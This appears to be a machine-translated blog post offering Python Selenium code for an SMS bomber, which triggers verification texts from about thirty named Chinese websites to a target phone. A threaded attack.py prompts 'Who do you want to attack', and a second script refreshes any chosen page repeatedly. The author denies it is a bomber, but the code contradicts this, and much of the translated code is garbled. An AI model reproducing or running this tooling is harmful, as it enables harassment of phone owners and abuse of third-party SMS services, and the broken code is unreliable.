SMS verification code sender


This is not a text bomber! This is not a text bomber! This is not a text bomber! This is a framework for sending lots of “wishes” to your friends! It also has the lovely name of SMS Captcha sender

A long, long time ago, most platforms didn’t pay attention to their SMS captcha sending interface, causing bombers to wreak havoc! Nowadays, websites have added complex image captchas and even Turing tests, and some websites have added background restrictions (e.g., one number can only be sent 3 times a day), which creates huge problems for the SMS captchas interface. What is more abhorrent is that the website has changed the request of the package to be very complicated, in an attempt to let us who do not understand the Web have no way out!

At the end of one’s tether! A python library has emerged – Selenium, which mimics human behavior to perform browser operations (e.g., typing into an input field, clicking a button, double-clicking an image…). The installation of this library is very simple, and python2 and Python3 work! To use it, you need to have a Chrome or Firefox and their respective browser drivers. Download Firefox-driver or Chrome-driver and place the driver in the Python installation directory! Below is the complete code for the captcha sender

# encoding=utf8
# smsbomber.py
import time
from selenium import webdriver
# from selenium.webdriver import ActionChains
# from selenium.webdriver.common.keys import Keys

class Bomber(object):
    def __init__(self, phone):
        self.phone = phone
        self.options = webdriver.FirefoxOptions()
        self.options.add_argument('--headless') # background mode

    # baidu
    def func0(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.baidu.com/')
        browser.find_element_by_xpath('//*[@id="u1"]/a[7]').click()
        browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__footerULoginBtn"]').click()
        browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__smsSwitchWrapper"]').click()
        browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__smsPhone"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="TANGRAM__PSP_10__smsTimer"]').click()
        browser.quit()

    # 1
    def func1(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.yhd.com/passport/register_input.do')
        browser.find_element_by_xpath('//*[@id="userName"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="validPhoneCodeDiv"]/a').click()
        browser.find_element_by_xpath('//*[@id="validPhoneCodeDiv"]/a').click()
        browser.quit()

    # China Mobile
    def func2(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://login.10086.cn/login.html')
        browser.find_element_by_xpath('//*[@id="sms_login_1"]').click()
        browser.find_element_by_xpath('//*[@id="sms_name"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="getSMSPwd1"]').click()
        browser.quit()

    # 51book
    def func3(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://caigou.51book.com/caigou/manage/designatedRegistryNewSignon.in')
        browser.find_element_by_xpath('//*[@id="cg_06"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="sendMSgBtu"]').click()
        browser.quit()

    # the world nations
    def func4(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.shijiebang.com/reg/')
        browser.find_element_by_xpath('/html/body/div[1]/div/div[3]/div/ul[1]/li[1]/a').click()
        browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/div/label[2]/input').click()
        browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[1]/td/div/input').send_keys(self.phone)
        browser.find_element_by_xpath('/html/body/div[8]/div[2]/div/div[2]/table[2]/tbody/tr[2]/td/div/button').click()
        browser.quit()

    # youku
    def func5(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://account.youku.com/register.htm')
        browser.find_element_by_xpath('//*[@id="passport"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="password"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="repeatPsd"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="getMobileCode"]').click()
        browser.quit()

    # amazon
    def func6(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.amazon.cn/ap/register?_encoding=UTF8&openid.assoc_handle=cnflex&openid.claimed_id=http%3A%2F%2Fspecs.openid 0%. Net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net % 2 fauth % 2 f2. 2 fidentifier_select & ope nid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net % 2 fextensions % 2 fpape % 2 f1. 0 & openid. The pape. Max_auth_age = 0 & openid. Return_to = HTTPS % 3 a % 2 f % 2 FWWW. Amazon. Cn % 2 FGP fho % 2 fyourstore % 2 me%3Fie%3DUTF8%26ref_%3Dnav_custrec_newcust')
        # browser.find_element_by_xpath('//*[@id="nav-flyout-ya-newCust"]/a').click()
        browser.find_element_by_xpath('//*[@id="ap_customer_name"]').send_keys('Mike998')
        browser.find_element_by_xpath('//*[@id="ap_phone_number"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="ap_password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="ap_register_form"]/div/div/div[5]/div/label/input').click()
        browser.find_element_by_xpath('//*[@id="continue"]').click()
        browser.quit()

    No # private
    def func7(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://segmentfault.com/')
        browser.find_element_by_xpath('/html/body/div[2]/nav/div[2]/div[2]/ul/li/a[1]').click()
        browser.find_element_by_xpath('/html/body/div[5]/div/div/div[2]/div/div/div/form/div[4]/a').click()
        browser.find_element_by_xpath('/html/body/div[5]/div/div/div[2]/div/div/div/form/div[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('/html/body/div[5]/div/div/div[2]/div/div/div/form/div[2]/div[1]/span/button').click()
        browser.quit()

    # China-Switzerland Wealth
    def func8(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.zrcaifu.com/register')
        browser.find_element_by_xpath('//*[@id="register-ul"]/li[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="register-ul"]/li[1]/input').click()
        browser.find_element_by_xpath('//*[@id="register-ul"]/li[2]/input').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="register-ul"]/li[2]/input').click()
        browser.find_element_by_xpath('//*[@id="register-ul"]/li[3]/input').send_keys('pwd123456')
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="sendsms-for-regiter"]').click()
        browser.quit()

    # 97 too
    def func9(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.97gg.net/Account/Register')
        browser.find_element_by_xpath('//*[@id="phoneRegistTab"]/tab').click()
        browser.find_element_by_xpath('//*[@id="UserName"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="Password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="ConfirmPassword"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="chkCodeSendBtn"]').click()
        browser.quit()

    # km
    def func10(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.1000.com/reg?us=3W-head')
        browser.find_element_by_xpath('//*[@id="react-content"]/div/div/div/div[2]/form/div[2]/div[2]/div/div/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="send_code"]').click()
        browser.quit()

    # Vipshop
    def func11(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.vip.com/register')
        browser.find_element_by_xpath('//*[@id="J_mobile_name"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="J_mobile_verifycode_btn"]').click()
        browser.quit()

    # hi kitchen
    def func12(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://m.haichufang.com/reg.html')
        browser.find_element_by_xpath('//*[@id="login"]/div[2]/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="login"]/div[2]/div[2]/div[1]').click()
        browser.quit()

    # good home
    def func13(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.jaja123.com/web/register')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[2]/div[1]/input').send_keys(u'zhang fei')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[3]/div[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[4]/div[1]/input').send_keys('pwd123456')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[5]/div[1]/input').send_keys('pwd123456')
        browser.find_element_by_xpath('/html/body/div/div[4]/form/div/div[1]/div[6]/div[1]/div/span/button').click()
        browser.quit()

    # millet
    def func14(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://cn.account.xiaomi.com/pass/register?_locale=zh_CN')
        browser.find_element_by_xpath('//*[@id="main_container"]/div[3]/div[1]/div/div[3]/div[2]/label/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="main_container"]/div[3]/div[1]/div/div[6]/input').click()
        browser.quit()

    # giant Network
    def func15(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://reg.ztgame.com/')
        browser.find_element_by_xpath('//*[@id="reg_form"]/div[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="reg_form"]/div[2]/input[2]').click()
        browser.quit()

    # micro au
    def func16(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://account.weimob.com/register')
        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="signUpForm"]/div[3]/a').click()
        browser.quit()

    # Commodity matching
    def func17(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.homekoo.com/zhixiao/cuxiao/index.php')
        browser.find_element_by_xpath('//*[@id="username5"]').send_keys(u'zhang fei')
        browser.find_element_by_xpath('//*[@id="tel5"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="submit_img5"]').click()
        browser.quit()

    Happy # for
    def func18(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.happigo.com/register/')
        browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="send_auth_code"]').click()
        browser.quit()

    # Mobile China
    def func19(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://passport.cnmo.com/register/')
        browser.find_element_by_xpath('//*[@id="m_mobile"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="m_uname"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="m_password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="m_confirm"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="m_getcode"]').click()
        browser.quit()

    # su ning
    def func20(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://reg.suning.com/person.do')
        browser.find_element_by_xpath('//*[@id="mobileAlias"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="sendSmsCode"]').click()
        browser.quit()

    # iQIYI
    def func21(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://www.iqiyi.com/iframe/loginreg?is_reg=1&')
        browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/div[2]/i').click()
        browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/div[1]/div[2]/input').send_keys(self.phone)
        browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[1]/div[1]/div[1]/div/a[2]').click()
        browser.quit()

    def func22(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.facebank.cn/user.html')
        # browser.switch_to.alert()
        # Accept - Click the confirm button
        # dismiss - Click the [cancel] button (if there is one)
        # send_keys - Input content (if there is an input field)
        browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="getSmsCode"]').click()
        time.sleep(1)
        browser.quit()

    # pay treasure
    def func23(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://memberprod.alipay.com/account/reg/index.htm')
        browser.quit()
        # The focus problem is not solved, alipay interface is invalid

    def func24(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.p2peye.com/member.php?mod=register')
        browser.find_element_by_xpath('//*[@id="username"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="registerForm"]/ul/li[2]/div[1]/input').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="registerForm"]/ul/li[3]/div[1]/input').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="captcha"]/div/div[1]/div[1]/span').click()
        browser.find_element_by_xpath('//*[@id="registerForm"]/ul/li[5]/input').click()
        browser.quit()

    def func25(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://jrh.financeun.com/Login/jrwLogin?web=jrw')
        browser.find_element_by_xpath('//*[@id="login-segment-phoneLogin"]').click()
        browser.find_element_by_xpath('//*[@id="quickMobile"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="quickSendMsgCode"]').click()
        browser.quit()

    def func26(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.maifupay.com/register')
        browser.find_element_by_xpath('/html/body/div[2]/div/div[1]/form/div[1]/input').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="sendVerifySmsButton"]').click()
        browser.quit()

    def func27(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://passport.ingping.com/reg/index?retUrl=https%3A%2F%2Fwww.ingping.com&fxPid=')
        browser.find_element_by_xpath('//*[@id="phoneNum"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="sendRegMsgA"]').click()
        browser.quit()

    def func28(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.decathlon.com.cn/zh/create')
        browser.find_element_by_xpath('//*[@id="mobile"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="login-button"]').click()
        time.sleep(1)
        browser.quit()

    # thunder
    def func29(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://vip.xunlei.com/?referfrom=v_pc_qtcp_ggong_xlhy')
        # Similar to Alipay page can not solve the focus problem, guess to use JS to solve
        browser.quit()

    def func30(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://my.ruanmei.com/?page=register')
        browser.find_element_by_xpath('//*[@id="phone"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('//*[@id="sendsms"]').click()
        browser.quit()

    def func31(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('https://www.juhe.cn/register')
        browser.find_element_by_xpath('//*[@id="username"]').send_keys('helloworld998')
        browser.find_element_by_xpath('//*[@id="password"]').send_keys('pwd123456')
        browser.find_element_by_xpath('//*[@id="mobilephone"]').send_keys(self.phone)
        browser.find_element_by_xpath('//*[@id="reg_smsbtn"]').click()
        time.sleep(1)
        browser.quit()

    def func32(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://passport.zongheng.com/webreg?location=http%3A%2F%2Fwww.zongheng.com%2F')
        browser.find_element_by_xpath('//*[@id="regphone"]').send_keys(self.phone)
        time.sleep(1)
        browser.find_element_by_xpath('/html/body/div[3]/div[2]/p[3]/span').click()
        browser.quit()

    # chalk net
    def func33(self):
        browser = webdriver.Firefox(firefox_options=self.options)
        browser.implicitly_wait(8)
        browser.get('http://fenbi.com/web/signup')
        # popover problem, invalid interface
        browser.quit()
Copy the code

Invoke the above interface to execute the attack

# encoding=utf8
# attack.py
from smsbomber import Bomber
import threading

def attack1(phone):
    func = ['func%d' %i for i inRange (0, 2)]for i in func:
        if hasattr(Bomber,i):
            try:
                getattr(Bomber(phone),i)()
                print '%s has excuted! ' %i
            except:
                print '%s meet some problems! ' %i
                continue
        else:
            print 'There is not %s' %i

def attack2(phone):
    func = ['func%d' %i for i inRange (15, 30)]for i in func:
        if hasattr(Bomber,i):
            try:
                getattr(Bomber(phone),i)()
                print '%s has excuted! ' %i
            except:
                print '%s meet some problems! ' %i
                continue
        else:
            print 'There is not %s' %i

def attack3(phone):
    func = ['func%d' %i for i inRange (30 May do)]for i in func:
        if hasattr(Bomber,i):
            try:
                getattr(Bomber(phone),i)()
                print '%s has excuted! ' %i
            except:
                print '%s meet some problems! ' %i
                continue
        else:
            print 'There is not %s' %i

phone = raw_input('Who do you want to attack:').strip()
# phone = '01234567890'
thread1 = threading.Thread(target=attack1,name='thread1',args=(phone,))
thread2 = threading.Thread(target=attack2,name='thread2',args=(phone,))
thread3 = threading.Thread(target=attack3,name='thread3',args=(phone,))
# threading.current_thread().name
thread1.start()
thread2.start()
thread3.start()
thread1.join()
thread2.join()
thread3.join()
print 'Good Bye! '
Copy the code

My idea is to call a large number of websites without picture verification code interface, because I will not machine learning so simple picture verification code will not identify (~ I dish), but before I saw someone using JS simulation drag slider, so slider type verification code identification in the future may be realized! After learning machine learning, I will also KO out the simple image verification code, so that the number of interfaces will increase a lot!

Since Selenium is obviously slow and resource-intensive, I close the browser after each call to solve the resource problem, and use multithreading to solve the slow problem, but Python multithreading is not very useful, and will definitely need to use multiple processes in the future!


White mouse time!!

Page unlimited refresh


At first glance, the function of low to explode, in fact, this can be derived from a lot of fun things, I will not give an example! Go straight to the code

from selenium import webdriver
import time
import random

url = raw_input('Input your website:').strip()
num = int(raw_input('How much times do you want:'),10)
options = webdriver.FirefoxOptions()
options.add_argument('--headless')
browser = webdriver.Firefox(firefox_options=options)
browser.get(url)
print 'Please wait... '
for i in range(num):
    i += 1
    print 'Refresh +%d' %i
    # time. Sleep (random. Randint (1, 4))
    time.sleep(1)
    browser.refresh()
browser.quit()
print 'Good Bye! '
Copy the code

The above is purely for entertainment, do not do experiments with friends and relatives… Get beat up!